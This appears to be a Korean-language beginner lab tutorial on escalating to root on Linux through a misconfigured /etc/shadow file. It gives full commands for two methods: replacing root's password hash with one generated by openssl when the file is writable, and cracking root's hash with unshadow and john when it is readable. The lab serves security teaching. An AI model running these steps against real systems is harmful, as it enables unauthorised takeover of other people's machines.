Linux 에서 /etc/shadow 파일을 이용한 권한 상승

Beginner

소개

리눅스 시스템은 사용자 인증 및 접근 제어를 위해 /etc/passwd/etc/shadow 파일을 사용합니다. 시스템 관리자가 이러한 파일의 권한 또는 내용을 잘못 구성하면 권한 상승 공격의 기회를 만들 수 있습니다. 이 랩에서는 /etc/shadow 파일을 활용하여 리눅스 시스템에서 root 권한을 얻는 방법을 배우게 됩니다. 이 시나리오는 이미 일반 사용자로 초기 낮은 권한의 셸 접근 권한을 얻었다고 가정합니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 95%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

/etc/shadow 파일 이해

이 단계에서는 /etc/shadow 파일의 구조와 목적에 대해 배우게 됩니다.

/etc/shadow 파일은 각 사용자 계정에 대한 암호화된 암호와 암호 관련 구성 정보를 저장합니다. 파일의 각 줄은 하나의 사용자를 나타내며, 9 개의 콜론으로 구분된 필드를 포함합니다.

  1. 사용자 이름 (Username)
  2. 암호화된 암호 해시 (Encrypted password hash)
  3. 에포크 (1970-01-01) 이후 암호가 마지막으로 변경된 날짜 수
  4. 암호 변경 간의 최소 일수
  5. 암호 유효 기간의 최대 일수
  6. 암호 만료 전 사용자에게 경고할 일수
  7. 계정이 비활성화되기 전 암호 만료 후 일수
  8. 계정이 비활성화될 에포크 (1970-01-01) 이후의 날짜 수
  9. 향후 사용을 위한 예약 필드

터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

cd /home/labex/project

/etc/shadow 파일에서 labex 사용자의 항목을 확인해 보겠습니다.

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

/etc/shadow 파일을 읽기 위해 sudo를 사용했습니다. 이는 해당 파일이 root 사용자만 읽을 수 있기 때문입니다.

labex_shadow.txt 파일의 내용을 확인합니다.

cat labex_shadow.txt

예시 출력:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

이 줄은 다음을 나타냅니다.

  • 사용자 이름: labex
  • 암호화된 암호 해시: $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • 마지막 암호 변경: 에포크 (1970-01-01) 이후 19818 일
  • 최소 암호 사용 기간: 0 일 (제한 없음)
  • 최대 암호 사용 기간: 99999 일 (만료 없음)
  • 암호 경고 기간: 만료 7 일 전
  • 계정 만료 없음

기본적으로 root 사용자만 /etc/shadow 파일을 읽고 수정할 수 있습니다. 그러나, misconfigured된 권한은 때때로 권한 상승의 기회를 제공할 수 있습니다.

/etc/shadow 파일 쓰기 권한으로 권한 상승

이 단계에서는 /etc/shadow 파일에 대한 쓰기 권한이 있는 경우, 해당 파일에서 root 암호를 수정하여 권한을 상승시키는 방법을 배우게 됩니다.

  1. 먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project

    디렉토리에서 env_setup_1.sh라는 스크립트를 찾을 수 있습니다. 이 스크립트를 실행하여 환경을 설정합니다.

    ./env_setup_1.sh

    이것은 환경을 설정하고 user001 사용자로 전환하여 초기 낮은 권한의 셸 접근을 시뮬레이션합니다.

    user001 홈 디렉토리로 이동합니다.

    cd ~
  2. 다음으로, /etc/shadow 파일의 권한을 확인합니다.

    ls -alh /etc/shadow

    예시 출력:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 쓰기 권한을 가지고 있음을 확인할 수 있습니다.

  3. 이제 /etc/shadow 파일을 편집하고 root 사용자의 암호 해시를 새 해시로 바꿀 수 있습니다.

    먼저, 현재 root 암호 해시를 확인합니다.

    cat /etc/shadow | grep root

    예시 출력:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    새 암호 (예: pass123) 를 설정하려면 openssl 유틸리티를 사용하여 새 암호 해시를 생성합니다.

    openssl passwd -1 -salt ignite pass123

    예시 출력:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. 텍스트 편집기에서 /etc/shadow 파일을 열고 root 사용자의 암호 해시를 새 해시로 바꿉니다.

    nano /etc/shadow

    root 사용자의 암호 해시를 찾습니다.

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    암호 해시를 새 해시로 바꿉니다.

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    변경 사항을 저장하고 편집기를 종료합니다.

  5. 마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 새 암호 pass123을 입력합니다.

    su root

이제 시스템에서 root 권한을 갖게 됩니다.

/etc/shadow 파일 읽기 권한으로 권한 상승

이 단계에서는 /etc/shadow 파일에 대한 읽기 권한만 있는 경우, root 암호 해시를 크래킹하여 권한을 상승시키는 방법을 배우게 됩니다.

이전 단계를 완료한 후, root 사용자로 유지되어야 합니다. labex 사용자에 도달할 때까지 새 터미널을 열거나 exit 명령을 사용하여 현재 사용자를 로그아웃할 수 있습니다.

  1. labex 사용자인 경우, /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project

    env_setup_2.sh 스크립트를 실행하여 환경을 설정합니다.

    ./env_setup_2.sh

    이것은 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 갖는 새로운 환경을 설정합니다.

    user001 홈 디렉토리로 이동합니다.

    cd ~
  2. /etc/shadow 파일의 권한을 확인합니다.

    ls -alh /etc/shadow

    예시 출력:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 가지고 있음을 확인할 수 있습니다.

  3. 다음으로, john 도구를 사용하여 root 사용자의 암호 해시를 크래킹할 수 있습니다. john을 사용하기 전에, unshadow 명령을 사용하여 /etc/passwd/etc/shadow 파일의 내용을 결합해야 합니다.

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. 이제 shadow_crack.txt 파일에서 john을 실행하여 root 사용자의 암호 해시를 크래킹하고 크래킹된 암호를 파일에 저장합니다.

    john --users=root shadow_crack.txt > cracked_passwords.txt

    크래킹된 암호를 보려면 cracked_passwords.txt 파일의 내용을 확인합니다.

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. 마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 암호 study를 입력합니다.

    su root

이제 시스템에서 root 권한을 갖게 됩니다.

요약

이 Lab 에서는 /etc/shadow 파일의 구조와 목적, 그리고 이 파일을 활용하여 권한을 상승시키는 두 가지 방법 (쓰기 권한으로 root 암호 해시 수정 또는 읽기 권한으로 root 암호 해시 크래킹) 에 대해 배웠습니다. 이러한 기술은 Linux 환경에서 파일 권한을 적절하게 구성하고 민감한 시스템 파일을 안전하게 보호하는 것의 중요성을 보여줍니다.